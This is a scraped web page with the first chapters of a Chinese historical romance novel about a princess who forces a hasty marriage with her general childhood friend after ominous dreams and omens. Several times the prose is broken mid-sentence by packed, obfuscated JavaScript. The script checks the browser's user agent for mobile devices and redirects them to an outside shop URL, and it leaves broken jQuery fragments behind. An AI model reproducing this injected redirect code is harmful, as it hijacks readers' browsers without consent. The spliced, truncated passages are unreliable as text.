《和竹马将军大婚后,祖坟它冒青烟了》 1. 第 1 章 全京城都知道,萧璟是个无可救药的恋爱脑。 身为大梁最尊贵的长公主,又生着一张倾国倾城的脸,在择婿这件事上,世家公子,侯门清贵,还不是任她挑选。 可她偏偏在金銮殿前跪了三日,哭得情真意切,硬要招那个刚从漠北还朝的小将军为驸马。 赐婚圣旨一下,数不清的朱漆箱笼裹着红绸从宫门抬出,首尾相连,宛若一道漫天的流霞,将陆府门前那条青云巷填得满满当当。前来围观的百姓挤在巷口,踮脚张望,啧啧称奇。 这桩姻缘,不日间便成了街头巷尾、茶楼酒肆最热闹的谈资。 “要我说,长公主这哪是下嫁,分明是强娶!” 说书先生一拍醒木,逗得满堂大笑。 “诸位是没瞧见,陆小将军接旨时那模样——啧啧,三分茫然三分震惊,剩下几分嘛,大抵是认命罢。打从那日起,他就没出过门,怕不是气得起不来床……” 将军府,陆恒望着门前堆成小山的「聘礼」,又看了看手中捏着的圣旨,愁得直揪胡子:“澜儿,你跟为父说实话,你是不是,欠了公主殿下什么风流债?” 陆惊澜头都没抬,继续擦着手中的宝雕弓,直到绒布细细拭过每一处青鸾纹样,他才开口:“父亲,殿下……”他微顿,抬起眼来,一片清澈坦诚。 “殿下她只是,太喜欢我了。” “喜欢你?”陆恒的声音都尖了不少,“咱家祖坟冒青烟了?你给我说实话!” 陆恒还想拽着他问个明白,可他已将弓收好,准备起身回屋。 他轻轻推开老父亲的手,笃定一笑:“这就是实话。” “宸弟,给大哥一句实话。” 晋王萧启将茶盏往案上一搁,“哐”的一声,不算重,但在场几人的呼吸明显放轻了些,“璟妹为何死活要嫁那陆惊澜?” “大哥,朕着实不知。”萧宸扶额,下意识躲开他的目光,“可五姐那个脾气,你们都是知道的,唉……若不依她,只怕永无宁日。” “那也不能事事依她?”雍王萧宏坐不住了,腾地站起身,头摇得像个拨浪鼓。 “小五糊涂,平日里任性些也就罢了,婚姻大事,岂可儿戏?陆家虽有军功,惊澜也是年轻一辈里有出息的,可这般强求,岂不是让皇家成了天下的笑柄?” 对面,睿王萧烁把玩着一枚金麒麟坠子,精致小巧,憨态可掬,指尖一弹,那金灿灿的小玩意便发出一声清脆的“叮”。 他咧嘴一笑:“欸二哥,别愁眉苦脸的,快帮我瞧瞧,这个送作五妹的新婚贺礼可好?” “老三!”萧宏气极反笑,“什么时候了,你还惦记这个?” 他却撇撇嘴,浑不在意:“那不然呢?圣旨都下了。” “依我看,五妹是女中豪杰,喜欢就抢,痛快!赶明儿我也抢……哎呦!” 话音未落,脑门上就结结实实挨了一下。 宁王萧煜咳了两声,不紧不慢地收回那本《千金疏义》,温声道:“三哥,你又胡说,小璟和惊澜,好歹有青梅竹马的情分在,怎能用「抢」字?何况——” “惊澜也未必不肯。” 萧烁摸着额头,连连喊痛,回瞪他一眼:“又拿你那破医书敲我,你倒是好好翻翻,看看五妹究竟是中的什么邪?” “笃笃。” 沉默许久的萧启,指节在案上轻叩两下,争论声戛然而止。 他目光沉沉,扫过每个弟弟,道:“五妹中没中邪我们不知道,可有的人,一定没中邪。” “明日,我亲自去会会他,看看这位刚得胜还朝,就恰好被选中的驸马爷,到底存了些什么心思。” 而此时,公主府内。 萧璟倚在小榻上,有一搭没一搭地翻着那本满是勾画的《风水堪舆辑要》,眉间却并无喜色,目光飘向窗外,整座府邸都浸在一片明艳的正红里。 宫人们扯红绸、扎锦缎,脚下步履匆匆,面上喜气洋洋,檐下挂起一排精致的龙凤宫灯,随风轻曳,晃得她头晕。 “殿下,外间的风言风语,传得越发离谱了。” 她转过来,望向自幼陪伴的侍女芷萝,问道:“都传些什么?” 芷萝屏了口气,才道:“传殿下为强娶陆将军,在金銮殿整整哭求三日。” “胡说八道!” 萧璟像被踩了尾巴的猫,登时就要从榻上弹起来,“本宫明明只求了陛下一炷香的时间,他就允了。” 芷萝嘴角抽了抽:“能不允吗,您匕首都带上了。”她叹了口气,继续道,“殿下,真的有必要吗?” 一听这话,萧璟顿时泄了气,软软地躺回榻上,闭眼沉默:是啊,有必要吗?就为了……一个虚无缥缈的梦? 可那真的只是「梦」吗? 她至今记得,半月前那个子夜,自己是如何尖叫着从榻上惊醒。 心发了疯似的在胸腔里乱撞,撞得肋下隐隐生疼,可她无暇顾及,因为喉间的窒息感来得更为猛烈,梦中喷涌而出的鲜血,生生堵死了她的活路。 吸气、吐气,她笨拙得像是初到世间,一遍一遍重复着。 直到冷汗彻底浸透寝衣,又黏又腻地贴在皮肤上,她才将这个最简单、最本能的动作,重新习得。 气息尚不稳,她便颤抖着去摸脖子,光滑细腻,连个印子都没有。 可梦里,利刃割开了皮肉,那般真实的剧痛,让她此刻牙关都还在打战。 头也开始嗡嗡地疼,她想合上眼揉一揉,可一陷入黑暗,那些支离破碎的画面又走马灯似的闪过: 二哥万箭穿心,大哥踩着三哥的背狞笑,三哥死前赤红的眼,四哥在雨夜里苍白的脸,六弟呕出的血,染得明黄的龙袍一片狼籍…… 留给她的,是剑锋吻上颈间的刺骨寒意。 一夜如此,夜夜如此。 至第七日,她眼下的乌青再也盖不住了。府里流言纷纷,宫人们私下里都在议论,长公主怕不是被什么脏东西缠上了。 第八夜,再次惊醒后,她谁也没带,孤身去了皇陵。 香是她亲手点的。 静夜里,月如银盘,三缕青烟本该在清辉映照下,笔直向上,告慰先祖。 可就在她俯身下拜时,一阵没来由的阴风卷过,送来一股带着些焦糊味的气息,直往她鼻子里钻。 她被呛得直咳嗽,一抬头,望向皇陵上空。 漆黑一团的夜幕里,竟缠着一缕比夜色更浓的黑烟,它慢吞吞地扭动着,像条吐着信子的毒蛇,将本就有些黯淡的星光,一点一点吞吃入腹。 手中的长明香,“噗”地一声,齐齐灭了。 三炷香,像被一刀斩断,整整齐齐跌落在地。 …… 钦天监监正和那位退隐多年的风水泰斗,是连夜被“请”出被窝的,两人对着星图、罗盘研究了半宿,额上的汗出了又干,干了又出。 记不清是第几回擦汗了,老监正终于“噗通”一声跪下,声音抖得不成样子:“殿、殿下,此乃阴煞冲犯、龙脉泣血之兆啊,若任其滋长,恐、恐有倾覆……” 后头的话,他死死咬着牙,不敢说出。一旁的风水大师面如死灰,重重地点了点头。 “可有化解之法?”她第一次听见自己的声音如此慌乱。 两人对视一眼,深深俯身,额头抵着地砖,发虚的声音从她脚下飘来: “需、需寻一命格至阳至刚,心性纯良赤诚,又偏偏……身负赫赫杀伐血气之人,将其气运引入皇室,以身为镇,或、或可抗衡一二。” 萧璟没说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001483|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她缓缓转过头,望向窗外皇陵的方向。连日来的血腥噩梦,皇陵上空诡异的黑烟,手中猝然断裂的香火,还有眼前这两人战战兢兢的判词…… 所有异象,竟能严丝合缝地拼在一起,拼出一个荒谬绝伦但却是唯一合理的答案。 “所以,”她轻声开口,像是在问他们,更像是在问冥冥中的先祖,“这是祖宗的警示。” “要我去找一个能镇得住煞气的人回来,拯救萧家将绝的气数?” 两人不敢答话,殿内死寂。 “只是这人选……” 她转回身,用指尖掐着手心,强迫自己保持冷静,“命格阳刚、心性纯良,却又要满手鲜血、杀戮无数?岂非自相矛盾?” 老监正的头垂得更低,几乎要钻进地缝里去:“殿下明鉴,化煞解劫,本就逆天而行,能作「镇物」之人,自然非比寻常。” 殿内再次陷入长久的沉默。 最后,她挥了挥手,让人把几乎瘫软的两位大家扶了下去。 她又望向窗外浓墨浸染的夜色,无边无际,看不见一丝光亮,缓缓吐出一口气,声音却颤得更厉害了:“逆天而行……” 难道天意,真要亡我萧家不成? 一连几日,萧璟的案头都堆满了世家才俊、勋贵子弟的名录,她甚至还暗中排查了京畿大营的青年将领。 可每查一个,纸上朱红的划痕就多一道,她紧蹙的眉就更深一分。 命格阳刚者,有;心性纯良者,亦有;身负杀伐之气者,更有。但要同时满足这三个条件,还能让她狠下心「引入皇室」的,一个都没有。 希望就像指间的流沙,她越想握紧,反而流失得越快。皇陵上空的夜色,连同她眼下的乌青,一日比一日沉。 “祖宗啊,”她无力地瘫在案前,浑身酸乏,“既然都给我警示了,为何不索性把答案一并告知?” “我要找的驸马,到底是谁?” 话音刚落,宫门方向忽然传来钟响,一声递着一声,浑厚悠远,响彻全城。 足足九声,是凯旋的钟声。 漠北大捷,班师回朝。 余音未散,一阵温热的香气,伴着芷萝的笑意,扑面而来:“殿下,别闷在屋里了。” “今日陆将军凯旋,城里可热闹了,不如咱们也去逛逛,散散心。” “谁?” 她恍然回神,猛地站起身。 “陆惊澜,陆将军啊。”芷萝被她的反应一惊,手下不稳,茶水都泼出了些。 “您不记得了?就那个小时候总跟在您身后,替您挨罚,被您叫「小哭包」的陆小公子啊。” 那几滴茶恰好溅在她胡乱涂写的纸上,「镇物」两个字,瞬间洇开一小团晕。 一些遥远朦胧的记忆,也悄无声息地晕开——那个总陪她四处胡闹的小身影,那双一哭起来就泛红的清眸,那个一句「你真好」就能哄得他高兴一整天的傻瓜…… 芷萝还在擦纸上的茶渍,可越擦字迹晕得更厉害:“陆将军两年前奉旨戍边,去岁西秦人挑起战事,是将军带兵平乱,大败敌寇……” 是啊,她怎么把他忘了。 “别擦了芷萝,快随本宫去看看。”她不由分说,扯着芷萝就往公主府最高的阁楼跑。 染血的旗帜在风中猎猎作响,一支整肃的得胜之师由远及近,踏入京城。 为首那人,玄甲黑马,身形挺拔。 虽是远观,但周身那股在沙场刀剑中淬炼出的杀伐气,还是令人一凛。 这个身影,既熟悉又陌生。 “陆惊澜。”她轻声念出这个名字。 风过,掠起她宽大的衣袖,也为她多日来遍布阴霾的脸,送来了第一抹笑意。 “回来的真是时候。” 2. 第 2 章 凯旋的军队迈过永安门,便抵达了繁华似锦的京城。 长街两侧,楼阁林立。 酒楼茶馆里,跑堂的吆喝声、食客的谈笑声,混着街边摊贩的叫卖声,或清脆、或悠长,交织成一团温热的嘈杂。日日如此,听惯后竟觉得像首悦耳的曲子。 只是今日有些不同。 街道两旁还挤满了来看热闹的百姓,他们兴奋张望,高声欢呼,为这首盛世欢歌,再添上一道鲜活的伴奏,将这条通向皇城的大道,变成了一条流动的庆功河。 向来军纪严明的士卒们,此刻也难免被一重又一重的欢呼感染。众人昂首挺胸,嘴角微扬,享受着属于他们的荣光。 唯独最前方的那位将军——陆惊澜,脸上没有半分得意。他跨坐马上,目不斜视,冷静得和这场热浪格格不入。 “不愧是大将军,这般定力,叫人佩服!” “那可不?人家是见过大场面的,我听说啊,两军对阵时,他一人一马,就斩杀了西秦两员大将。那身杀气,隔老远都让西秦人腿软。” “才十六岁啊,前途无量。按老人的话,这般年纪就能立下不世之功,命格不凡呐。” 叽叽喳喳的议论声,伴着缓缓前行的军队,正要淌向皇城更深处时,一副鸾凤仪仗突然驾临,硬生生截断了去路。 陆惊澜反应极快,一手勒住缰绳,一手轻抬示意。 马匹嘶鸣声中,军队整齐划一地在原地顿住,垂首侍立。两侧百姓的喧腾声,也被这突如其来的一顿压下了不少。 有眼尖的小声呼道:“那不是长公主的仪仗吗?” “长公主真是体恤功臣,亲自出城来迎。”老者捋着胡须,慈眉善目道。 此时,朱红车帘被轻轻掀起。 萧璟探出身,日光洒在她杏黄色的宫装上,衬得她越发明艳灼人,发间的那支赤金凤尾钗,更是光华灼灼,熠熠生辉。 她一眼锁定队列最前的陆惊澜。 他还愣在马上,手紧紧攥着缰绳,连最基本的臣礼都忘了。 “罢了,此刻不和他计较这些。” 她利落地下车,一步一步走向他,沿途经过时,两侧的百姓慌忙跪地行礼,原本喧闹的长街,彻底安静了。 她越走越近。 可他还是那副怔然的表情,一动不动,只是那双清澈的眼睛,一直追着她不断靠近的身影。 越近,他眼中那层莫名的雾气越重。 身侧的副官急得额角冒汗,压低了声音唤他,可在静下来的街道上依旧格外明显:“将军,将军!” 陆惊澜身子一震,总算回过神来,仓促翻身下马。 一声清晰的闷响后,他单膝跪地,带着轻颤的声音从下方传来:“臣陆惊澜,参见长公主殿下。” “臣有罪,不知殿下凤驾亲临,礼数有失,请殿下责罚。” 萧璟在他面前站定,看着这个手忙脚乱,连头都不敢抬的竹马将军,忍不住想扶额。 在外历练了两年,也没什么长进啊,还是那副傻样。 但这是不是就是所谓的心性纯良呢?经过两年的浴血厮杀,还能在她面前露出这般纯粹的傻气,倒也称得上「赤子之心」? “起来吧,本宫不罚你。” 她笑盈盈地望向他,声音不大,但足以让寂静的长街听个清清楚楚,“本宫来是想……” “陆惊澜,做本宫的驸马吧。” 霎时间,众人原本恭敬低下的头齐唰唰抬起,目光不约而同地射向整条街上唯二站立的人,压抑的喧哗声嗡嗡乱成一片,沉默的街再次炸开了。 “这、这……”慈善的老者差点背过气去。 “长公主这是,当街求娶?啊不,求嫁?” 几个年轻姑娘面面相觑:“天呐!这比话本子上写得还野。” 陆惊澜整个人僵在原地,眼睛瞪得浑圆,嘴巴微张,半天才结结巴巴道:“殿、殿下,你说什么?” 萧璟轻叹了口气,上前一步,拍了拍他的肩甲,声音又高了些:“本宫说,本宫要你做我的驸马。这不是商量,是通知,回府等圣旨吧。” 这下他的脸彻底红透了,从耳根一路蔓延到脖颈,整个人愣在原地,绷得像一块铁板。 她没空等他反应了,抽回手,干脆地转身,杏黄的袖摆划起一道轻盈的弧度,堪堪擦过他胸前的铠甲。 下一瞬,身后传来几声踉跄。 余光一扫,竟瞥见他连退数步才稳住身形。 她脚下一顿,漾开一个浅笑,侧过脸,补充道:“对了,这两日收拾好行装,婚期嘛……下月初八是个好日子,婚后住公主府。” 然后,她挺直背,昂起头,在满街或惊愕,或探究,或兴奋的目光中,从容地走回鸾轿。 车帘才一垂落,外头压抑的哗然便开了闸,汹涌而来。 “你们听见了吗?长公主她就这么说了?” “驸马!陆将军要当驸马了!” “下月初八就成婚?抄家流放也没这么快……” 鸾轿内,芷萝递上一杯茶,眼神里满是无奈:“殿下,您真敢说。” 萧璟靠着软垫长长舒了口气,才伸手去接,茶盏温热,正好暖一暖她微凉的指尖:“本宫不过是,提前告知他一声。” “可这、这……”芷萝憋了半天,“这也太直接了,满大街都听见了!” “听见才好,”她抿了口茶,放松下来,“这样全京城都知道,他是本宫的人。事态紧急,本宫没时间跟他徐徐图之,先把人要来再说。” “那咱们现在?” “先斩后奏,下一步当然是「奏」。” 她嘴角上扬,思路清晰,“进宫,替本宫的驸马求个名分。” 鸾凤仪仗逶迤而去,萧璟掀起侧帘,遥遥一望,陆惊澜整个人还僵在原地,像个入定的老禅师。 她狡黠一笑,伸出手摆了摆,冲着他扬声道:“乖乖等圣旨啊。” 这话落下,他的身子终于动了,向着她的方向追过来两步,旋即又顿住。她满意地坐回车里,闭目养神,只是嘴角的那抹笑,久久未散。 …… 两日前长街上的情景还在脑中盘旋,那抹笑也再次在她嘴角翘起,她轻轻晃了晃头,从回忆和笑意里直起身来,问道:“陆惊澜那边什么动静?” 芷萝摇着团扇,道:“听说接旨后就未曾出门了,好像是气病了?” “气病了?”她的眉头立刻拧紧,“这般不经事,如何担当大任?” “殿下,这事怨不得将军,实在是您办得……太突然了。”芷萝手下的动作又快了些,低声劝道,“陆将军那边,总要有个转圜。眼下这般僵着,终归不好,日后还要朝夕相处呢。” 她轻柔的话语,伴着一阵又一阵的清风拂过,将萧璟紧蹙的眉头一点一点舒展开来。 “罢了。”她自知理亏,声音也低了些,“钦天监也说了,「镇物」须得心情舒畅,身体康健。他这么病着,确实不行。” “这样,你去准备样东西。”她清眸一转,计上心头:“明日,本宫去跟他说点好听的,让他顺了这口气,乖乖当这个驸马。” 翌日辰时,公主府的车舆,稳稳地停在了陆府门前。 萧璟掀开车帘,初夏的阳光有些微热,但算不得灼人,她微微眯眼,直奔大门而去。 长公主的銮驾出现的那一刻,门房便连滚带爬地进去通报。此时陆府已是中门大开,陆恒带着一众仆役,跪地迎接,声音竭力维持平静:“老臣陆恒,恭迎长公主凤驾。” 萧璟停下脚步,目光缓缓扫过跪了一地的人,又落回如临大敌的陆恒身上,略一抬手,从容道:“陆老将军请起,怎么不见惊澜?” 陆恒起身,面露难色:“禀殿下,犬子他、他这两日确有不适,正在房中静养。” “病得这么重?” 她语速快了些,声音也冷了,脚下不由自主地向府内迈去,“本宫去看看。” 陆恒冷汗涔涔,赶忙跟在后面,磕磕绊绊地解释道:“殿下莫要误会,澜儿他不是对婚事不满,是、是高兴过了头。对,高兴过了头。” 陆府不算大,没几步便到了后院的卧房。 萧璟在门前驻足片刻,深吸一口气,才一把推开门,焦急的呼声比人先一步到了内室:“惊澜,本宫听说你病了。” 她迈进房门,左右一张望,直奔床榻而去——陆惊澜躺在榻上,正要起身迎接,被她一把摁住。 “免礼免礼。”她努力绷住嘴角,忧心道,“你感觉如何?可请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们七岁便相识,那会儿陆惊澜作为伴读入宫,一晃就是好些年。她能忆起两人初见的情景,可有些片段模糊得很,特别是他递给她什么东西时,脑中漫开一团迷雾。 她觉得头有些晕,不由得地晃了晃,正想抬手按按,却被人攥住了手腕。 抬眼望去,他脸上的笑意不知何时一扫而光,眼神骤然沉了下去:“不舒服吗?” “我……”她一时语塞,小声道,“我想不起来了。” “无妨。”他声音有些慌,扯了扯嘴角,“陈年旧事了,想不起来便算了。” 她点了下头,这才回过神来,手腕还被他紧紧握着,赶忙挣开,起身向后退去,却因为太过慌乱,险些没站住。 陆惊澜当即弹坐起来,一个探身,动作快如闪电,拽住了她的衣袖,往前一带,却在碰到她的下一刻,骤然收了力。 可到底还是没收住。 两人跌回榻上,她大半个身子都压在他身上,侧脸紧紧贴着他胸口,隔着薄薄的单衣,他急促的心跳声混着温热的体温,将她整个包围。 耳边一声一声加重,脸上一寸一寸发烫。 而那只拽她衣袖的手,不知怎的环到了她身后,虚虚扶着。 时间仿佛静止了,萧璟能闻到他身上淡淡的柏子香,很好闻。她想推开他起身,可是手不知该往哪里放。 他反应过来,立刻用另一只手撑起身子,将她一并带了起来,这才松开手,别过脸,声音有点哑:“是臣失礼,殿下没伤着吧?” 萧璟几乎是弹开的,脸上像在烧一样,强装镇定:“没、没事。” 视线一触即分,屋内静得连呼吸声都听不到,窗外的雀儿也不知飞到哪去了,这场沉默就无声地蔓延着。 “殿下,”他终于开口,又深深吸了口气,像是下定了什么决心。 萧璟静静等着他的下文,心咚咚地跳成一首乱曲,比她先前听到的还要吵。 就在此时,一道沉稳威严的男声,几乎贴着门板传来: “小五。” 每个字都落得极稳,极冷: “开门。” 3. 第 3 章 “吱呀——” 萧璟将门打开,映入眼帘的便是一身深色常服的萧启。 他身量颇高,肩宽背直,日光将他的身影投下,几乎将她完全笼罩。他立在她面前,并未急着进去,面容沉静,只是那双眸子比平日更冷,定定地落在她脸上。 指尖,在不断摩挲着那枚墨玉扳指。 她看着那枚扳指,心头一紧。 大哥只有在克制怒意的时候,才会这样摩挲扳指,上次见到,好像还是三哥打碎了父皇生前最爱的琉璃盏。 当时大哥也是这样沉默地摩挲着扳指,然后平静地下令:“老三,去太庙跪着,跪到想清楚了何为「谨慎」再起来。” 她感觉膝盖一软,死死抠着门框,才勉强站稳,从喉间挤出两个字:“大、大哥。” 萧启的目光越过她肩头,直接刺向榻上那个人影,然后才移回她脸上,微微俯身,声音还算温和:“不请大哥进去?” 她敏锐地捕捉到那一丝温和,连忙侧身:“大哥,快请进。” 他一步一步走向床榻,脚步很轻,可每走一步,萧璟都心头一跳。 他在榻前三步适时停下,居高临下地俯视着陆惊澜,那点温和彻底消散:“听说陆将军病了,本王特来探望。” 陆惊澜已坐起身,脊背挺直。他抱拳轻咳了两声,毫不避让地迎上审视,平静道:“臣身染微恙,不便起身迎驾,还请晋王殿下恕罪。” 萧璟站在一旁,偷偷给他使眼色:你做个样子也得起身啊。 然而,他完全无视了她的提醒,淡定自若地坐在榻上,还朝她温润一笑。 她只能无奈地按了按狂跳的额角。 “既是病人,不必多礼。”萧启将手背在身后,目光停在他还有些微红的脸上,“本王今日来,是为了将军和舍妹的婚事。” 还不等陆惊澜接话,他继续道:“本王这个妹妹,性子娇纵,胡闹惯了,还请将军不要当真。” “大哥!” 萧璟急急打断,但萧启冷厉的眼风一扫,吓得她下意识往陆惊澜的方向挪了两步,手下的衣角已经被揪出了好几层褶子。 突然,手背被轻拍了两下。 她循着温热的触感望去,陆惊澜不仅没收回手,还温柔地一点一点掰开她快和衣角绞成麻花的手指。 “殿下说笑了,公主率性赤诚,臣心甚悦。”他微微一笑,语气温和但寸步不让,“至于「胡闹」,圣旨已下,殿下的意思是,圣旨也是胡闹吗?” 萧启冷笑一声,质问道:“你们两年未见,重逢第一面便是当街逼婚。你告诉本王,这不是胡闹是什么?” “至于圣旨,”他目光转回萧璟脸上,声音放缓,“小五,你没告诉陆将军,是你拿着匕首逼宸弟下旨的吗?” 陆惊澜原本带着笑的眼睛骤然只剩震惊,望向萧璟,但很快又重新漾开笑意,轻咳一声:“公主殿下行事一向……果决。” “即便没有圣旨,臣与殿下亦是自幼相识,情深意重,心意相通,两情相悦。” 萧璟低着头,只觉这话越听越耳熟,等她反应过来,脸登时就红透了。 “呵,自幼相识?宫中伴读,不过孩童嬉闹之情,怎可等同婚姻之约?”萧启依然满是不信,“惊澜,你年少有为,前途无量,莫要因为一时糊涂,误了终身。” 「误了终身」四个字才落,陆惊澜喉间便逸出一声极轻的气音,像被烫了一下。 那抹温润的笑意并未褪,他轻轻摇了摇头,道:“殿下此言,臣不敢苟同。” “孩童之心最是纯粹,若连幼时相伴的真心都能轻易抹去,那该如何信守终身之约?” 几番敲打未果,萧启面上的不悦越发明显,他转向萧璟,沉声道:“小五,那你呢?你告诉大哥,为什么是陆惊澜?” 她还没开口,他先弯下腰,拾起地上那只翠绿的草蚱蜢,直接摆在她面前:“别跟大哥说什么青梅竹马的鬼话,毕竟,你连「定情信物」都能拿错。” “我……”萧璟原本想照陆惊澜的话搪塞过去,现下脑子一片空白,眼神飘忽,“因、因为……” 萧启直接上前一步,盯着她的眼睛:“因为他刚从漠北立功回来,风头正盛?还是因为陆家有兵权,可作倚仗?” 陆惊澜连忙咳嗽,打断他的逼问,声音清晰:“殿下,公主性子单纯,焉能有此城府?” 萧璟心乱如麻:她要如何告诉大哥,一切的根源,是她做了一个手足相残的梦,而梦里,大哥是那个罪魁祸首。 她心虚得眼神乱飘,却正好对上陆惊澜那双明亮的眸子,突然福至心灵,脱口而出: “因为他长得好看!” 话音刚落,满室哑然。 萧启眉心一跳,嘴角抽动:“什么?” 陆惊澜赶忙低下头,肩膀不受控制地微微抖动,萧璟不用看都知道他在憋笑。 但话已经说出口了,她硬着头皮也得圆下去:“那日我在阁楼上,远远瞧见惊澜策马入城——玄甲黑袍,身姿挺拔,日光映在他侧脸上,嗯……惊为天人!” 萧启:“所以?” 她吸了口气,反正是破罐子破摔了,干脆理直气壮些:“所以我就冲过去了啊!大哥你看,这样貌,这气度,满京城找得出第二个吗?”她一边说,一边示意陆惊澜配合。 他总算止住了笑,只是耳尖还在发红:“臣竟不知那日如此被殿下看重。” 萧启久久沉默,最后干笑了一声,听着像是真的被气笑了:“萧璟,你今年十六,不是六岁,因为惊鸿一瞥,就当场逼婚,你比大哥想得还胡闹。” “那我就是看上他了。”她索性胡搅蛮缠起来,扯住萧启的袖子,“父皇当年不也是因为母后貌若天仙才一见钟情的吗?大哥你自己书房里不也收着江南第一美人的画像吗?” “我们萧家一脉相承,凭什么我不可以?” 萧启被这话一噎,耳尖微红:“你、你哪听来的胡话?” “三哥告诉我的,”萧璟得意地眨了下眼,乘胜追击,“再说了,圣旨都下了,现在悔婚,岂不是让全天下看我的笑话?” 正说着,她眼眶已经泛红,声音都带上哭腔:“真要这样,我就去出家!” 萧启无奈地揉了揉眉心,被她攥着的衣袖甩都甩不开,语气彻底转为疲惫:“就算这样,也不能当街强求啊,成何体统?” “那我不快点下手,万一被人抢走了怎么办?” 他再次被气笑了,脱口而出:“这世上还有人敢跟你抢?”说完又轻咳一声,声音软下来,“好了好了,事已至此,既然你喜欢,那便如此吧。” “大哥最好了!”她跳着扑过来,抱住萧启的手臂。 萧启被她撞了个趔趄,还不忘提醒道:“陆将军,望你谨遵驸马本分,若是让璟妹受委屈……” 他的声音从她身后清晰传来,稳稳抵达:“臣定当竭尽所能,不负公主厚爱。” 萧启总算点了点头,拂开她的手转身离去,只留下一句:“大婚前安分些,这门不许关,再关本王叫人卸了。” “好。”萧璟连忙应道,缓缓舒了口气,才转向榻上的陆惊澜,“惊澜,这段时间,你恐怕得开着门睡了。” 陆惊澜又是无奈又是愉悦,笑了好一阵,才道:“殿下,臣的风寒这下彻底好不了了。” 她俏皮一笑,宽慰道:“本宫会给你请太医的,而且你这算不得什么。” “三哥,应该惨了。” 隔日午后,萧璟心情大好。 婚事落定,昨夜她难得地一夜好眠,晨起时整个人都神清气爽。 她换上一身茜色骑装,墨发高束,来西郊御苑挑新到的御马。反复比较后,目光落在一匹枣红色的大宛驹上,她正轻抚马颈,试其性情时,耳边炸开一声无比熟悉的: “萧璟!” 马儿受惊扬蹄,她头都没回,温柔地顺着马颈,应道:“三哥,我耳朵没聋。” 许是因为一路狂奔,萧烁冲到她面前时,头发有些松散,满脸通红,大口喘着气:“萧璟,你又跟大哥胡说八道什么了?” “你知不知道,昨夜大哥把我叫去痛斥一顿,还罚我抄二十遍《礼记》!二十遍呐!”他指着自己眼下的青影,愤愤道,“我抄了整整一宿,若不是二哥替我求情,我这会儿还在抄呢。” 萧璟“扑哧”一声笑了出来,赶忙替他顺了顺胸口,声音里藏不住笑:“三哥,消消气。” “当时的情况嘛,比较复杂,而且我没有胡说,不是你告诉我大哥书房放着「美人图」吗?” “那你也不能出卖我啊。” 一听这话,她眉梢微挑:“是三哥先出卖我吧?拿匕首逼阿宸下旨的事,我可只告诉过你。昨日大哥在陆府,言之凿凿,肯定早就得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧烁满意极了,正要点头,却忽然清醒:“不行!若是被大哥知道,我又要倒霉了。” “不会的——”她拖长音调,晃着他的手,带着些恳求,“三哥,带我去吧,你不是说醉仙楼是京城最热闹的地方吗?我早就想去瞧瞧了。” “可你尚未出阁,去那种地方……” “还有十八天就出阁了,”她立刻站直身子,“就当提前几天嘛。” “行行行!”萧烁一咬牙,甩了甩右手,昨夜抄书的酸胀还没褪,“我在那儿留了雅间,你换身衣服,再戴个斗笠,没人会知道。” 他又补了句:“不过咱们可说好了,只喝酒赏舞,不许惹事,不然我再也不带你出门。” 萧璟立即从善如流,脸上笑得越发灿烂。 最后这句,三哥上回、上上回也是这么说的,许是他记性不好吧。 夜幕初降,萧璟身着一件鹅黄罗裙,头戴帷帽,纱帘垂至肩下,乖巧地跟在萧烁身后。 他倒依旧是往日那副张扬打扮——宝蓝绣金大袖袍,配上松绿杭绸裤,绸冠束发,并不规整,有几绺乌发随意地垂下,阔步流星,腰间那几块玉佩撞得叮当作响,活像只成了精的孔雀,还是那种到处开屏显摆的。 才踏进醉仙楼的门槛,一个缙云色的身影便分开人群,娉娉袅袅地迎了上来,“睿王殿下来了,”声音软糯含笑,“可还是按惯例安排?” 萧烁清了清嗓子,偷偷瞄了一眼身后,摆摆手:“酒菜照旧,不用人跟着伺候,清清静静的,没有本王的吩咐,都不许进来。” 帷帽下,萧璟忍不住弯了弯嘴角,三哥啊三哥,我又不是瓷娃娃,至于吗? 女子了然一笑,将两人引到天字号雅间,布好酒菜便恭敬退下。 门刚合上,萧璟便将头纱一掀:“闷死了。” 萧烁谨慎得很,四下里望了个遍,才出声:“小祖宗,你就安分点吧,这地方人多眼杂……”正说着,他一把夺下她手中的酒,“这个太烈,你只许喝甜酿。” “啊?”她的笑僵在嘴边,追问道,“那舞姬呢?” “隔着这个看。”他朝前方一指,是一扇正对楼下舞台的碧影纱窗,舞姬曼妙的身姿,只能朦朦胧胧看个大概,大概能分辨出是在快旋,还是在折腰。 她一叉手:“我是来看西域舞姬的,不是来看皮影戏的。” “再说连皮影戏都没得看。” 她只好撇撇嘴,端起酒杯小啜了几口,甜丝丝的,确实是她喜欢的滋味,而纱窗上那团晃动的彩晕,到底还是比皮影戏好看些。 酒盏刚见底,一阵急促的叩门声传来,是萧烁的心腹,他极力压低声音,却压不住焦急: “殿下,出事了。陆府那边有情况,晋王和雍王已经赶过去了……” 4. 第 4 章 萧璟和萧烁赶到时,陆府正厅气氛凝重,下人皆被屏退在外,除了地上跪得瑟瑟发抖的三个太医。 萧启坐在主位,面色沉得能拧出水来,见到带着酒气而来的两人,眼神更是一暗。 坐在下首的是脸色发白、双手直抖的陆恒,萧宏站在他身侧,轻声安抚:“陆老将军,不必过于忧心,惊澜还年轻……” 而陆惊澜,站得离几人都有些距离。 